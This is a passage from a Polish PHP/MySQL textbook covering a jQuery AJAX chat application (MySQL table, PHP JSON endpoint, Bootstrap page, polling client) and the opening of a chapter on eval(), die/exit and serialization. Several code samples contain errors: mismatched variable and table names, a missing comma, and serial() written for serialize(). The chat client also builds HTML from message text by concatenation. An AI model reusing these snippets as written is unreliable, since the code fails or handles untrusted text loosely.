$('#mojFormularz').on('submit', function(event) {
var imie = $('#imie').val();
var nazwisko = $('#nazwisko').val();

konsolaW3("Przesłano formularz!");
alert("Witaj, użytkowniku " + imie + " " + nazwisko + "!");
});
Rozdział 23.  Integracja JavaScriptu i PHP 487

Rysunek 23.1.
Wykonywanie
czynności
na formularzu
obsługiwanym
przez jQuery
generuje rejestr
operacji
wyświetlany
u dołu strony

Ze względów demonstracyjnych także ta procedura obsługi zdarzeń jest bardzo prosta, a jej
działanie ogranicza się do pobrania wartości z obu pól formularza i pokazania ich w okienku
dialogowym przeglądarki wyświetlanym przy użyciu funkcji JavaScript alert(). Następnie funkcja
aktualizuje samą stronę WWW, wyświetlając na niej informacje podane w formularzu.

Ten przykład kończy krótką prezentację frameworka jQuery. W żadnym razie nie można jej uznać
za wyczerpującą, jednak pozwoli ona Czytelnikowi zrozumieć zagadnienia opisywane w dalszej
części rozdziału, takie jak zastosowanie jQuery do komunikacji z serwerem WWW przy użyciu
technologii AJAX.

Stosowanie jQuery,
technologii AJAX i skryptów PHP
Oprócz wszystkich ogromnych możliwości związanych z manipulowaniem dokumentami HTML
jQuery udostępnia także programistom cały zestaw możliwości funkcjonalnych przeznaczonych
do prowadzenia asynchronicznej komunikacji z serwerami WWW. Możliwości te są wbudowane
w implementację języka JavaScript w przeglądarkach WWW, jednak jQuery znacznie ułatwia ich
wykorzystywanie, gdyż implementacje stosowane w poszczególnych przeglądarkach różnią się
nieco od siebie, a jQuery wyodrębnia ich kluczowe cechy, udostępniając spójny interfejs API.

Aby zacząć korzystać z technologii AJAX przy użyciu jQuery, należy zapoznać się z przedstawio-
nym w dalszej części rozdziału prostym przykładem aplikacji do obsługi internetowych pogawędek.
Aplikacja ta będzie zapewniać wielu użytkownikom możliwość jednoczesnego prowadzenia
pogawędek oraz odbierania wiadomości, i to bez konieczności odświeżania okna przeglądarki.

Ajaksowe pogawędki — skrypt serwera


Do obsługi internetowych pogawędek po stronie serwera niezbędny jest prosty skrypt PHP realizują-
cy dwie podstawowe operacje: pobieranie przesyłanych wiadomości oraz zwracanie listy wiadomo-
ści, które jeszcze nie zostały wyświetlone danemu użytkownikowi. Ponieważ tworzona aplikacja
ma korzystać z technologii AJAX, implementowany skrypt PHP będzie korzystał wyłącznie
488 Część IV  Zaawansowane techniki PHP

z danych zapisanych w formacie JSON (JavaScript Object Notation). Co więcej, na potrzeby


aplikacji zostanie utworzona tabela MySQL, gdyż aplikacja musi w trwały sposób przechowywać
przesyłane wiadomości.

A zatem przed rozpoczęciem pisania skryptu PHP konieczne jest utworzenie tabeli MySQL. Poniżej
przedstawione zostało polecenie CREATE, które tworzy bazę danych o nazwie czat, a w niej tabelę
wiadomosci_czatu:
CREATE DATABASE czat;

USE czat;

CREATE TABLE wiadomosc_czatu (


id INT(11) AUTO_INCREMENT PRIMARY KEY,
wiadomosc TEXT,
wyslana_przez VARCHAR(50),
data_utworzenia INT(11)
);

Ta bardzo prosta baza tabela przechowuje podstawowe metadane o każdej wiadomości oraz jej
treść. Tabela składa się z czterech kolumn: liczby, która w unikalny sposób identyfikuje każdy
rekord tabeli, samej wiadomości, identyfikatora sesji użytkownika, który przesłał wiadomość,
oraz liczby całkowitej reprezentującej uniksowy znacznik czasu określający, kiedy wiadomość
została wysłana. Identyfikator sesji PHP jest ważny, gdyż na jego podstawie aplikacja będzie
określać, czy dana wiadomość została wysłana przez użytkownika przeglądającego pogawędkę,
czy też przez kogoś innego.

Listing 23.3 przedstawia kompletny kod skryptu służącego do tworzenia i wyświetlania pogawędki;
poniżej został on dokładnie opisany i wyjaśniony.

Listing 23.3. czat.php — wykonywany na serwerze skrypt tworzący i wyświetlający wiadomości


<?php
session_start();
ob_start();
header("Content-type: application/json");

date_default_timezone_set('UTC');

// nawiązanie połączenia z bazą danych


$polaczenieBD = mysqli_connect('localhost', 'uzytkownik', 'haslo', 'czat');

if (mysqli_connect_errno()) {
echo '<p>Błąd: Nie można nawiązać połączenia z bazą danych.<br />
Proszę spróbować później.</p>';
exit;
}

try {

$aktualnyCzas = time();
$idSesji = session_id();

$czasSprawdzenia = isset($_SESSION['czas_sprawdzenia']) ?
$_SESSION['czas_sprawdzenia'] : $aktualnyCzas;

$akcja = isset($_SERVER['REQUEST_METHOD']) &&


($_SERVER['REQUEST_METHOD'] == 'POST') ?
'wyslij' : 'pobierz';
Rozdział 23.  Integracja JavaScriptu i PHP 489

switch($akcja) {
case 'pobierz':

//echo 'SELECT * FROM wiadomosci_czatu WHERE data_utworzenia >= '.


// $czasSprawdzenia. " (". time() .") \n";

$zapytanie = "SELECT * FROM wiadomosci_czatu WHERE data_utworzenia >= ?";

$polecenie = $polaczenieBD->prepare($zapytanie);
$polecenie->bind_param('s', $czasSprawdzenia);
$polecenie->execute();
$polecenie->bind_result($id, $wiadomosc, $idSesji, $date_created);
$wynik = $polecenie->get_result();

$noweWiadomosci = [];
while($wiadomosc = $wynik->fetch_assoc()) {

if($idSesji == $wiadomosc['wyslana_przez']) {
$wiadomosc['wyslana_przez'] = 'ja';
} else {
$wiadomosc['wyslana_przez'] = 'inny';
}

$noweWiadomosci[] = $wiadomosc;
}

$_SESSION['czas_sprawdzenia'] = $aktualnyCzas;

print json_encode([
'sukces' => true,
'wiadomosci' => $noweWiadomosci
]);
exit;

case 'wyslij':

$wiadomosc = isset($_POST['wiadomosc']) ? $_POST['wiadomosc'] : '';


$wiadomosc = strip_tags($wiadomosc);

$zapytanie = "INSERT INTO wiadomosci_czatu (wiadomosc, wyslana_przez, data_utworzenia)


VALUES(?, ?, ?)";

$polecenie = $polaczenieBD->prepare($zapytanie);
$polecenie->bind_param('ssi', $wiadomosc, $idSesji, $aktualnyCzas);
$polecenie->execute();

print json_encode(['sukces' => true]);


exit;
}
} catch(\Exception $e) {
print json_encode([
'sukces' => false,
'blad' => $e->getMessage()
]);

Powyższy prosty serwer pogawędek rozpoczyna się od włączenia sesji oraz buforowania poprzez
wywołanie funkcji, odpowiednio, session_start() i ob_start(). Następnie ustawiony jest nagłówek
odpowiedzi Content-Type, któremu zostaje przypisana wartość applicatio/json, dzięki czemu
490 Część IV  Zaawansowane techniki PHP

klient będzie wiedział, że odpowiedź zawiera dokumenty JSON. Poza tym, aby wymusić stosowanie
spójnych znaczników czasu, wywoływana jest funkcja date_default_timezone_set().

Po wykonaniu tych podstawowych operacji zostaje utworzone połączenie z bazą danych MySQL,
po czym skrypt sprawdza, czy zostało ono nawiązane prawidłowo. Jeśli wystąpiły jakieś problemy,
to skrypt zostaje natychmiast zakończony, gdyż brak połączenia z bazą danych na tym etapie
oznacza pogawędkę, w której nie będzie żadnych wiadomości.

Jeśli natomiast uda się prawidłowo nawiązać połączenie z bazą, to kolejną operacją, którą zostanie
wykonana, będzie określenie sposobu obsługi bieżącego żądania. W przypadku żądań HTTP
GET zostanie pobrana lista wszystkich wiadomości, które jeszcze nie zostały wyświetlone danemu
użytkownikowi. Wiadomości te zostaną zwrócone i wyświetlone w przeglądarce. W przypadku
żądań HTTP POST (czyli przesłania formularza) skrypt zapisze nową wiadomość, która następnie zo-
stanie rozesłana do wszystkich innych użytkowników.

Bez względu na rodzaj żądania skrypt zawsze zwraca obiekt JSON, w którym jest dostępny
klucz o nazwie sukces, zawierający wartość logiczną true lub false, zależnie od tego, czy operacja
zakończyła się pomyślnie, czy nie. W razie niepowodzenia do obiektu zostanie także dodany
klucz blad, zawierający komunikat błędu. W przypadku obsługi żądania HTTP GET zwracany
obiekt będzie zawierał również klucz wiadomosci z listą wszystkich wiadomości, które powinny
zostać wyświetlone w przeglądarce danego użytkownika.

Skrypt PHP przedstawiony na listingu 23.2 wykorzystuje kilka pojęć związanych z operacjami
przeprowadzanymi na bazach danych (takich jak wstawianie i pobieranie informacji z bazy),
które zostały przedstawione we wcześniejszej części książki. Niemniej jednak jego kluczowym
aspektem jest sposób, w jaki jest on wykonywany. Prawidłowe działanie aplikacji wymaga tego,
by przeglądarka wywoływała ten skrypt cyklicznie w celu aktualizacji interfejsu użytkownika
i wyświetlania w nim nowych wiadomości. Dodatkowo strona WWW stanowiąca interfejs
użytkownika aplikacji będzie udostępniała możliwość przesyłania wiadomości na serwer przy
użyciu żądania AJAX, dzięki czemu będą one rozsyłane do wszystkich innych klientów biorących
udział w pogawędce. W kolejnym punkcie rozdziału zostaną przedstawione kliencka część aplikacji
oraz używane przez nią metody AJAX.

Metody jQuery służące do korzystania z technologii AJAX


Zanim rozpoczniemy tworzenie prostego interfejsu użytkownika prezentowanej tu aplikacji do
obsługi pogawędek, przedstawimy różne metody biblioteki jQuery służące do wykonywania
żądań AJAX. Warto zwrócić uwagę na to, że wszystkie metody zaprezentowane w następnej części
rozdziału są w rzeczywistości uproszczonymi sposobami wywoływania jednej metody: $.ajax().

Metoda jQuery $.ajax()


Oceniając metodę $.ajax() pod względem jej prototypu, można stwierdzić, że wygląda ona na
stosunkowo prostą:
$.ajax(string url, object ustawienia);

Pierwszym parametrem tej metody jest adres URL, na jaki ma zostać wysłane asynchroniczne
żądanie, a drugim — obiekt zawierający ustawienia żądania. Złożoność tej metody można określić
dopiero po przejrzeniu listy wszystkich dostępnych ustawień służących do określenia sposobu
jej działania, obsługi żądania oraz odpowiedzi. Ponieważ wszystkie te ustawienia są doskonale
opisane w internetowej dokumentacji jQuery dostępnej na stronie http://api.jqeury.com/jQuery.ajax/,
Rozdział 23.  Integracja JavaScriptu i PHP 491

nie będziemy powielać informacji o nich w tej książce. Zamiast tego w dalszej części tego pod-
punktu przedstawionych zostanie kilka najczęściej stosowanych przypadków użycia oraz sposobów
ich realizacji z wykorzystaniem metody $.ajax().

Pierwszy przykład wykonuje proste żądanie HTTP GET. Właściwość success określa funkcję,
która będzie wywołana po prawidłowym wykonaniu żądania i do której zostaną przekazane dane
pobrane z odpowiedzi, jej status tekstowy oraz obiekt jQuery.
// Wykonanie żądania HTTP GET
$.ajax('/example.php', {
'method' : 'GET',
'success' : function(dane, status, jqXHR) {
console.log(data);
}
});

Kolejny przykład przedstawia sposób wykonywania żądania HTTP POST, które przesyła na serwer
jakieś dane. W przypadku prawidłowego obsłużenia żądania zostaje wywołana funkcja określona
przez właściwość success, tak samo jak to było w przypadku generacji żądań GET. Jednak w tym
przykładzie druga funkcja została określona we właściwości error. Ta funkcja zostanie wywoła-
na, gdy wystąpi błąd (na przykład gdy serwer zwróci kod statusu 500); informacje na jego temat
mogą zostać wyświetlone w interfejsie użytkownika:
// Wykonywanie żądań HTTP POST z obsługą błędów
$.ajax('/example.php', {
'method' : 'POST',
'data' : {
'myBoolean': true,
'myString' : 'To są przykładowe dane.'
},
'success' : function(dane, status, jqXHR) {
console.log(data);
},
'error' : function(jqXHR, status, zgloszonyBlad) {
console.log("Wystąpił błąd: " + zgloszonyBlad);
}
});

W przypadku chęci lub konieczności dodania do żądania jakichś nagłówków, takich jak wartości
niezbędne do uwierzytelnienia żądania, można użyć klucza headers, któremu przypisywany jest
obiekt zawierający pary nazwa-wartość, reprezentujące wszystkie potrzebne nagłówki:
// Dodawanie nagłówków do żądania GET
$.ajax('/example.php', {
'method' : 'GET',
'headers' : {
'X-my-auth' : 'SomeAuthValue'
}
success: function(dana, status, jqXHR) {
console.log(data);
}
});

W przypadku generowania żądań AJAX wymagających skorzystania z protokołu uwierzytelniania


HTTP w nowszych wersjach jQuery nie trzeba już samodzielnie ustawiać nagłówków uwierzytel-
niających HTTP przed wysłaniem żądania. W celu określenia informacji uwierzytelniających
HTTP w obiekcie ustawień funkcji $.ajax() wystarczy teraz podać nazwę użytkownika (username)
i hasło (password):
492 Część IV  Zaawansowane techniki PHP

// Żądanie z użyciem uwierzytelniania HTTP


$.ajax('/example.php', {
'method' : 'GET',
'username' : 'mojanazwa',
'password' : 'mojehaslo',
'success' : function(data, textStatus, jqXHR) {
console.log(data);
}
});

W zależności od złożoności żądania AJAX oraz poziomu wymaganej kontroli nad nim może się
okazać, że do jego wykonania będzie można użyć jednej z metod pomocniczych, eliminujących
część złożoności związanych ze stosowaniem metody $.ajax() i wszystkich jej ustawień. Kolejny
podpunkt tego rozdziału zawiera opis tych uproszczonych metod AJAX oraz sposobów ich stosowa-
nia w celu wykonywania żądań; po tej prezentacji zostanie przedstawiona następna część aplikacji
do prowadzenia internetowych pogawędek.

Metody pomocnicze jQuery służące do obsługi żądań AJAX


W wielu sytuacjach elastyczność i złożoność zapewniane przez metodę $.ajax() nie będą potrzebne.
Z tego powodu biblioteka jQuery udostępnia kilka pomocniczych metod AJAX wyodrębniających
najczęściej występujące przypadki użycia. Łatwość ich stosowania ma jednak swoją cenę, gdyż
czasami brakuje w nich użytecznych możliwości funkcjonalnych, takich jak obsługa błędów,
które oferuje $.ajax().

Poniżej przedstawiony został dość prosty sposób wykonywania żądań HTTP GET w celu pobrania
zasobu z serwera WWW:
// Uproszczony sposób wykonywania żądań GET
$.get('/przyklad.php', {
'parametrZapytania' : 'wartośćParametru'
}, function(dane, status, jqXHR) {
console.log(dane);
});

W przypadku stosowania metody $.get() w jej wywołaniu przekazywane są adres URL żądanego
zasobu, wszelkie parametry żądania (w formie zwyczajnego obiektu JavaScript) oraz funkcja zwrot-
na, którą należy wykonać po pomyślnym zakończeniu żądania. Jeśli podczas obsługi żądania wystą-
pią jakieś błędy, metoda $.get() zakończy się bez sygnalizowania jakichkolwiek nieprawidłowości.

Jak można się było spodziewać, istnieje także metoda $.post(), która działa w identyczny sposób
(z tą różnicą, że zamiast żądań GET generuje żądania POST):
// Uproszczony sposób generowania żądań POST
$.post('/przyklad.php', {
'parametrPost' : 'wartość parametru'
}, function(dane, status, jqXHR) {
console.log(dane);
);

Istnieją również dwie dodatkowe metody pomocnicze, które mogą się okazać przydatne w pewnych
okolicznościach. Pierwsza z nich, $.getScript(), pozwala na dynamiczne pobranie dokumentu
JavaScript z serwera i wykonanie go, i to przy użyciu tylko jednego wiersza kodu:
$.getScript('/sciezka/do/skryptu/moj.js', function() {
// Skrypt moj.js został wczytany i teraz można używać
// wszelkich zdefiniowancyh w nim funkcji i obiektów.
});
Rozdział 23.  Integracja JavaScriptu i PHP 493

W podobny sposób druga z metod, $.getJSON(), pozwala przesłać na podany adres URI żądanie
HTTP GET, przetworzyć zwrócony dokumenty JSON i przekazać go do określonej funkcji zwrotnej:
// Wczytanie dokumentu JSON przy użyciu żądania HTTP GET
$.getJSON('/przyklad.php', {
'parametrJSON' : 'wartośćParametru'
}, function(dame, status, jqXHR) {
console.log(dame.status);
});

Po tym krótkim wstępie prezentującym możliwości obsługi żądań AJAX przy użyciu biblioteki
jQuery możemy przejść do przedstawienia klienckiej części aplikacji do prowadzenia pogawędek
internetowych.

Kliencka część aplikacji do prowadzenia pogawędek


We wcześniejszej części rozdziału zostały już zaprezentowany serwer pogawędek (skrypt czat.php,
zamieszczony na listingu 23.3); pozostaje zatem jedynie przygotować sensowny interfejs użyt-
kownika aplikacji, który będzie wykorzystywał bibliotekę jQuery zarówno do przesyłania na serwer
nowych wiadomości, jak i do pobierania wiadomości z serwera i wyświetlania ich w przeglądarce
użytkownika. W pierwszej kolejności zajmiemy się przygotowaniem prostego interfejsu HTML,
którego układ określimy przy użyciu popularnego frameworka CSS Bootstrap i w którym zasto-
sujemy specjalnie przygotowany arkusz stylów CSS do wyświetlania poszczególnych wiadomości
w formie charakterystycznych „dymków” (patrz rysunek 23.4).
Wyszukane style CSS używane do wyświetlania wymyślnych dymków z wiadomościami
zostały przygotowane przy pomocy doskonałego narzędzia o nazwie Bubbler, stworzonego
przez Johna Clifforda i dostępnego na stronie http://ilikepixels.co.uk/drop/bubbler/.

Listing 23.4. czat.html — interfejs użytkownika aplikacji do prowadzenia pogawędek


<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Ajaksowe pogawędki</title>
<link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/
bootstrap.min.css">
<link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/
bootstrap-theme.min.css">
<style>
.bubble-recv
{
position: relative;
width: 330px;
height: 75px;
padding: 10px;
background: #AEE5FF;
-webkit-border-radius: 10px;
-moz-border-radius: 10px;
border-radius: 10px;
border: #000000 solid 1px;
margin-bottom: 10px;
}

.bubble-recv:after
{
content: '';
494 Część IV  Zaawansowane techniki PHP

position: absolute;
border-style: solid;
border-width: 15px 15px 15px 0;
border-color: transparent #AEE5FF;
display: block;
width: 0;
z-index: 1;
left: -15px;
top: 12px;
}

.bubble-recv:before
{
content: '';
position: absolute;
border-style: solid;
border-width: 15px 15px 15px 0;
border-color: transparent #000000;
display: block;
width: 0;
z-index: 0;
left: -16px;
top: 12px;
}

.bubble-sent
{
position: relative;
width: 330px;
height: 75px;
padding: 10px;
background: #00E500;
-webkit-border-radius: 10px;
-moz-border-radius: 10px;
border-radius: 10px;
border: #000000 solid 1px;
margin-bottom: 10px;
}

.bubble-sent:after
{
content: '';
position: absolute;
border-style: solid;
border-width: 15px 0 15px 15px;
border-color: transparent #00E500;
display: block;
width: 0;
z-index: 1;
right: -15px;
top: 12px;
}

.bubble-sent:before
{
content: '';
position: absolute;
border-style: solid;
border-width: 15px 0 15px 15px;
border-color: transparent #000000;
display: block;
width: 0;
Rozdział 23.  Integracja JavaScriptu i PHP 495

z-index: 0;
right: -16px;
top: 12px;
}

.spinner {
display: inline-block;
opacity: 0;
width: 0;

-webkit-transition: opacity 0.25s, width 0.25s;


-moz-transition: opacity 0.25s, width 0.25s;
-o-transition: opacity 0.25s, width 0.25s;
transition: opacity 0.25s, width 0.25s;
}

.has-spinner.active {
cursor:progress;
}

.has-spinner.active .spinner {
opacity: 1;
width: auto;
}

.has-spinner.btn-mini.active .spinner {
width: 10px;
}

.has-spinner.btn-small.active .spinner {
width: 13px;
}

.has-spinner.btn.active .spinner {
width: 16px;
}

.has-spinner.btn-large.active .spinner {
width: 19px;
}

.panel-body {
padding-right: 35px;
padding-left: 35px;
}

</style>
</head>
<body>
<h1 style="text-align:center">Ajaksowe pogawędki</h1>
<div class="container">
<div class="panel panel-default">
<div class="panel-heading">
<h2 class="panel-title">Porozmawiajmy</h2>
</div>
<div class="panel-body" id="panelCzatu">
</div>
<div class="panel-footer">
<div class="input-group">
<input type="text" class="form-control" id="trescWiadomosci" placeholder="Tu wpisz
wiadomość..."/>
<span class="input-group-btn">
496 Część IV  Zaawansowane techniki PHP

<button id="wyslijWiadomoscBtn" class="btn btn-primary has-spinner" type="button">


<span class="spinner"><i class="icon-spin icon-refresh"></i></span>
Wyślij
</button>
</span>
</div>
</div>
</div>
</div>
<script src="//code.jquery.com/jquery-3.1.1.min.js"></script>
<script src="klient.js"></script>
</body>
</html>

Kiedy strona ta zostanie wyświetlona w przeglądarce, utworzy prosty interfejs użytkownika, podob-
ny do tego przedstawionego na rysunku 23.2; oczywiście jego konkretna postać będzie zależeć
od prowadzonej konwersacji (warto zwrócić uwagę na to, że bezpośrednio po wyświetleniu strony
nie będzie na niej żadnych dymków wiadomości).

Rysunek 23.2.
Ajaksowe
pogawędki w akcji

Aby ożywić statyczny dokument HTML wczytany i wyświetlony w przeglądarce, musimy zaim-
plementować w języku JavaScript kod, który nawiąże połączenie z serwerem PHP na serwerze
i wyświetli przesłane przez niego wiadomości. Wszystkie te operacje są wykonywane przez skrypt
JavaScript o nazwie klient.js, do którego odwołuje się przedstawiony wcześniej dokument HTML.

Aplikacja JavaScript odpowiada za odpytywanie skryptu PHP w regularnych odstępach czasu


w celu pobierania wiadomości oraz za wyświetlanie każdej z nich w interfejsie użytkownika w for-
mie dymku. Skrypt określa także funkcję, która będzie obsługiwać kliknięcia przycisku Wyślij,
czyli pobierać wiadomość wpisaną w polu tekstowym i wysyłać ją na serwer w celu późniejszego
wyświetlenia w interfejsie użytkownika.
Rozdział 23.  Integracja JavaScriptu i PHP 497

Aby umożliwić odpytywanie skryptu PHP, należy skorzystać z mechanizmu JavaScript nazywa-
nego licznikiem czasu. Mechanizm ten opóźnia wykonanie funkcji JavaScript o podany czas,
a następnie wywołuje ją, kiedy ten czas upłynie. W przypadku prezentowanego skryptu funkcja
ta nosi nazwę odpytajSerwer i jest zdefiniowana w następujący sposób:
var odpytajSerwer = function() {
$.get('czat.php', function(wynik) {

if(!wynik.sukces) {
console.log("Błąd podczas pobierania nowych wiadomości z serwera!");
return;
}

$.each(wynik.wiadomosci, function(idx) {

var dymekCzatu;

if(this.wyslana_przez == 'ja') {
dymekCzatu = $('<div class="row bubble-sent pull-right">' +
this.wiadomosc +
'</div><div class="clearfix"></div>');
} else {
dymekCzatu = $('<div class="row bubble-recv">' +
this.wiadomosc +
'</div><div class="clearfix"></div>');
}

$('#panelCzatu').append(dymekCzatu);
});

setTimeout(odpytajSerwer, 5000);
});
}

Funkcja odpytajSerwer() przeprowadza dwie podstawowe operacje: wykonuje asynchroniczne


żądanie HTTP GET do skryptu na serwerze w celu pobrania nowych wiadomości, a następnie
używa funkcji setTimeout(), by zaplanować wywołanie samej siebie po upłynięciu pięciu sekund.
W trakcie realizacji tej funkcji zostaje wygenerowane i zakończone żądanie HTTP GET, jak
również wykonane zostaje domknięcie przekazane w wywołaniu metody jQuery $.get(). Domknię-
cie to sprawdza wyniki zwrócone z serwera, a następnie w pętli wyświetla wszystkie komuni-
katy, dodając je do interfejsu użytkownika przy wykorzystaniu odpowiednich klas CSS.

Funkcja odpytajSerwer() musi zostać wywołana pierwszy raz w celu zapoczątkowania cyklu
odpytywania serwera, a najlepszym momentem na zrobienie tego jest moment zakończenia
wczytywania dokumentu. Z tego względu skrypt określa procedurę obsługi zdarzenia jQuery
ready i w niej wywołuje funkcję odpytajSerwer(). W celu uatrakcyjnienia interfejsu użytkownika
skrypt określa także procedurę obsługi zdarzeń click wszystkich przycisków na stronie, która
odpowiednio dodaje do tych elementów lub usuwa z nich klasę active.
$(document).ready(function() {
odpytajSerwer();

$('button').click(function() {
$(this).toggleClass('active');
});
});

Ostatnim elementem skryptu klient.js jest przedstawiony poniżej fragment służący do przesyła-
nia nowych wiadomości na serwer. Poniższy kod stanowi procedurę obsługi zdarzeń click,
skojarzoną z przyciskiem umieszczonym na stronie. Funkcja ta odczytuje wpisany komunikat,
498 Część IV  Zaawansowane techniki PHP

a następnie przesyła go na serwer przy użyciu żądania HTTP POST, umożliwiając odczytanie jej
przez inne klienty biorące udział w pogawędce.
$('#wyslijWiadomoscBtn').on('click', function(zdarzenie) {
zdarzenie.preventDefault();

var wiadomosc = $('#trescWiadomosci').val();

$.post('czat.php', {
'wiadomosc' : wiadomosc
}, function(wynik) {

$('#wyslijWiadomoscBtn').toggleClass('active');

if(!wynik.sukces) {
alert("Błąd podczas wysyłania wiadomości!");
} else {
console.log("Wiadomość została wysłana!");
$('#trescWiadomosci').val('');
}
});

});

Umieszczenie tych wszystkich stosunkowo prostych funkcji w jednym pliku JavaScript (w przypad-
ku prezentowanej aplikacji jest to plik klient.js) oraz wczytanie go na stronie WWW to wszystko,
czego potrzeba do zapewnienia poprawnego działania aplikacji czatu. Choć aplikacja ta nie zapew-
nia natychmiastowej aktualizacji interfejsu użytkownika (trzeba na nią czekać do pięciu sekund),
to jednak pozwala na prowadzenie pogawędek z przyjaciółmi w czasie rzeczywistym, i to bez
konieczności każdorazowego odświeżania całej strony.

Jeśli Czytelnik samodzielnie sprawdza prezentowane przykłady i używa przeglądarki Google


Chrome, to bez trudu będzie mógł zweryfikować działanie przedstawionej tu aplikacji, otwierając
dwa okna przeglądarki (jedno w trybie normalnym, a drugie w trybie anonimowym). W pogawędce
może uczestniczyć dowolna liczba przeglądarek, o ile tylko każda z nich będzie używać unikalnego
identyfikatora sesji PHP.

Propozycje dalszej lektury


W zamieszczonym w tym rozdziale wprowadzeniu dotyczącym technologii AJAX oraz sposobu
korzystania z niej podczas tworzenia aplikacji internetowych jedynie bardzo pobieżnie przedstawili-
śmy wszystkie dostępne możliwości tej technologii. Choć zaprezentowane informacje stanowią
solidne podstawy do dalszej nauki, to jednak tematyka związana z biblioteką jQuery i jej stosowa-
niem jest znacznie bardziej obszerna — właściwie można jej poświęcić całą odrębną książkę.
Niemniej lektura tego rozdziału powinna umożliwić Czytelnikowi implementację opisywanych
technologii we własnych aplikacjach.

Jeśli Czytelnik jest zainteresowany dalszym poznawaniem biblioteki jQery, powinien przeczytać
serię artykułów i poradników dostępnych na stronie http://learn.jquery.com.

W następnym rozdziale
To już niemal koniec tej części książki. Jednak zanim w ramach jej kolejnej części zajmiemy
się projektami, najpierw przedstawimy kilka użytecznych informacji dodatkowych o możliwościach
PHP, które nie znalazły się w poprzednich rozdziałach.
Rozdział 24.
Inne przydatne własności
Niektóre przydatne funkcje i własności PHP nie należą do żadnej konkretnej kategorii. Przedsta-
wiamy je w tym rozdziale.

W tym rozdziale zostaną poruszone następujące zagadnienia:


 wykonywanie łańcuchów znaków za pomocą funkcji eval(),
 kończenie wykonania — die i exit,
 serializacja,
 pobieranie informacji na temat środowiska PHP,
 czasowa zmiana środowiska wykonawczego,
 podświetlanie kodów źródłowych,
 używanie PHP z poziomu wiersza poleceń.

Wiele z przykładów przedstawionych w tym rozdziale to krótkie fragmenty kodu, których Czytelnik
z powodzeniem może używać do tworzenia większych bloków kodu we własnych aplikacjach.

Przetwarzanie łańcuchów znaków — funkcja eval()


Funkcja eval() wykona łańcuch znaków jako kod PHP. Na przykład wywołanie:
eval("echo 'Witaj, świecie';");

pobierze zawartość łańcucha i wykona zapisaną w nim instrukcję. Powyższy wiersz da taki sam
wynik jak
echo 'Witaj, świecie';

Na pierwszy rzut oka może się wydawać, że funkcja eval() nie jest zbyt użyteczna, jednak okazuje
się, że może się ona przydać w wielu sytuacjach. Na przykład można przechowywać bloki
kodu w bazie danych, po czym odczytać je i wykonać za jej pomocą. Możliwe jest również genero-
wanie kodu w pętli, po czym zastosowanie eval() do jego wykonania.

Jednak funkcja eval() najczęściej znajduje zastosowanie w systemach szablonów, które zostaną
nieco dokładniej omówione w rozdziale 25., „Stosowanie PHP i MySQL w dużych projektach”.
W przypadku stosowania systemu szablonów istnieje możliwość wczytywania kodu HTML, PHP
i zwykłego tekstu z bazy danych; następnie system szablonów dodaje do tych treści odpowiednie
formatowanie i przetwarza treści z użyciem funkcji eval() tak, jak gdyby stanowiły one zwyczajny
kod PHP.
500 Część IV  Zaawansowane techniki PHP

Funkcja eval() może być także przydatna do uaktualniania lub poprawienia istniejącego kodu. Jeżeli
istnieje duży zbiór skryptów, które wymagają przewidywalnej zmiany, można (chociaż jest to nie-
zbyt wydajne) napisać skrypt zamieniający stary skrypt w łańcuch znaków. Uruchamia on regexp
w celu przeprowadzenia zmian, po czym stosuje eval(), aby wykonać zmodyfikowany skrypt.

Możliwa jest również sytuacja, że bardzo łatwowierna osoba pozwala na wpisywanie kodu PHP
w przeglądarce, po czym jest on wykonywany na serwerze, jednak odradzamy korzystanie z takiego
rozwiązania w zwyczajnych zastosowaniach.

Zakończenie wykonania — die i exit


Dotychczas w tej książce stosowano konstrukcję exit w celu przerwania wykonania skryptu w wy-
znaczonym miejscu. Jak wiadomo, pojawia się ona jako osobny wiersz w następujący sposób:
exit;

Ta instrukcja nie zwraca żadnej wartości. Rozwiązaniem alternatywnym jest wywołanie funkcji die().

Nieco bardziej użytecznym sposobem ukończenia skryptu jest przekazanie do funkcji exit() para-
metru. Sposób ten może być stosowany do wyświetlania komunikatu o błędzie lub wykonania
funkcji przed zakończeniem skryptu. Jest ona znana programistom Perla. Na przykład:
exit('Zakończenie skryptu...');

Częściej jednak funkcje exit() i die() są stosowane wraz z operatorem OR, łączącym je z jakimś
wyrażeniem, które może zakończyć się niepowodzeniem, takim jak otwarcie pliku lub połączenie
z bazą danych:
mysql_query(zapytanie) or die('Nie można wykonać zapytania!');

W tym przykładzie komunikat: "Nie można wykonać zapytania!" zostanie wyświetlony na ekranie,
jeśli wywołanie funkcji mysql_query() zwróci wartość false. Dodatkowo zamiast prostego
wyświetlenia komunikatu o błędzie można wywołać ostatnią funkcję przed zakończeniem skryptu:
function komunikat_blad()
{
return 'Błąd MySQL: '.mysql_error();
}

mysql_query($zapytanie) or die(komunikat_blad());

Powyższe rozwiązanie może służyć jako sposób przekazywania użytkownikowi bardziej precy-
zyjnych powodów niepowodzenia skryptu, jako metoda zamykania znaczników HTML bądź też
sposób usuwania niekompletnej strony WWW z bufora wyjściowego.

Alternatywnie można napisać funkcję, która w przypadku niepowodzenia będzie wysyłać list
elektroniczny do administratora, aby wiedział, że wystąpił poważny błąd, można też dodać błąd do
pliku z raportami lub zgłosić wyjątek.

Serializacja zmiennych i obiektów


Serializacja jest procesem zamiany dowolnych danych, możliwych do przechowania w zmiennej
PHP lub obiekcie, w strumień bajtów, który może zostać przechowany w bazie danych lub przeka-
zany z URL-em do kolejnej strony. W przeciwnym wypadku trudno jest przechować lub przekazać
całą zawartość tablicy lub obiektu.
Rozdział 24.  Inne przydatne własności 501

Przydatność serializacji zmniejszyła się od czasu wprowadzenia kontroli sesji. Jest ona stosowana
głównie do typów zadań, do których aktualnie można zastosować kontrolę sesji. Faktycznie funk-
cje kontroli sesji dokonują serializacji zmiennych sesji w celu przechowania ich pomiędzy żąda-
niami HTTP.

Jednak ciągle możliwa jest konieczność przechowania tablicy PHP lub obiektu w pliku lub bazie
danych. Jeżeli taka sytuacja zachodzi, istnieją dwie funkcje, które należy znać: serialize()
i unserialize().

Funkcję serialize() wywołuje się w następujący sposób:


$obiekt_serial=serial($mój_obiekt);

Aby wiedzieć, co dokładnie wykonuje serializacja, należy przeanalizować dane zwracane przez
funkcję serialize(). Zamienia ona zawartość obiektu lub tablicy na łańcuch znaków.

Na przykład można spojrzeć na wynik przeprowadzenia serializacji na prostym obiekcie pracownik,


